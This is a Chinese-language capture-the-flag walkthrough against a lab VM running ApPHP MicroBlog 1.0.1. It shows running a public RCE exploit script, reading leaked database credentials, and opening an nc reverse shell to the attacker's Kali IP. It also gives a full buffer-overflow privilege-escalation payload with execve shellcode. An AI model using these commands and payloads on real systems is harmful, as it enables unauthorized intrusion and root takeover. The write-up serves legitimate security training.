Kali的IP地址:192.168.127.139
靶机的IP地址:192.168.127.151
目录
一、信息搜集
1.1、扫描主机口
1.2、扫描主机端口
1.3、访问端口
二、漏洞挖掘
2.1、漏洞库搜索
2.2、漏洞挖掘
三、漏洞利用
3.1、获取用户的数据库用户名、密码
3.2、反弹shell
3.3、获取第一个flag
四、权限提升
4.1、缓冲区溢出提权
总结:
一、信息搜集
发现开放了80(http)、111、34929端口,一个个访问看看
先访问80端口,发现就是正常的一个网页页面,右下角有一个登陆页面,,直接查看源代码 发现了ApPHP MicroBlog
版本 为 v.1.0.1
其他端口没有发现其他的东西,接下来就是漏洞的挖掘
二、漏洞挖掘
看博客大佬都是直接在kali本地漏洞库搜索,我们也尝试一下看看,发现还真有
使用命令将利用的脚本复制到本地:searchsploit -m php/webapps/33070.py
使用python2
执行脚本:python2 ./33070.py http://192.168.127.151
如图所示,成功拿到普通shell权限
三、漏洞利用
得到 shell 之后,会展示出数据库配置文件
用户名:clapton
密码:yaraklitepe
此时思路如下:看看家目录有无此用户,有的话可以尝试登录 (这里还可以通过/etc/passwd文件中发现存在普通用户clapton)
发现存在此用户名跟数据库名字一样,但是之前的端口扫描发现22端口未开放,那我们就直接切换用户
先看看有没有nc
在 kali
开启 nc
监听:nc -lvp 6666
使用nc反弹shell:nc -e /bin/bash 192.168.127.139 6666
注意:我自己试了一下,nc -e /bin/nc 192.168.127.139 6666 命令也可以反弹shell
成功获取反弹shell后使用命令交互shell
:python -c 'import pty;pty.spawn("/bin/bash")'
同时在当前目录发现note.txt
,查看内容发现相关提示
提示内容为缓冲区溢出
四、权限提升
查看一下当前文件
将input文件下载到本地,使用checksec工具检查文件发现该文件未启用任何保护措施,如图:
发现没有,先禁用 ASLR
,然后在 gdb 中加载二进制文件:
然后用 metasploit
中的 pattern_create.rb
生成数量 1000
的字符串用来计算偏移量:
将生成的字符串用命令 r 在 gdb 中运行二进制文件:
在 0x41376641 处得到了错误,计算一下偏移量:
计算出偏移量是 171,用 python 构造字符串:
可以用,查看ESP寄存器的值
用esp 寄存器的 0xbf970c10
替换 4 个 B,因为是小字节序,倒过来写,构造 payload:
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x0c\x97\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
成功提权,然后在root
目录下找到flag2
总结:
本节通过访问网站目录扫描等方式收集信息,进而获取网站系统版本信息,之后通过搜索对应漏洞,完成 RCE 漏洞利用获取 shell,然后通过信息收集获取用户 shell,最后自己构造payload 使用缓冲区溢出漏洞溢出提权。前面获取 shell 比较简单,难点在于最后提权。
本文参考:hirak0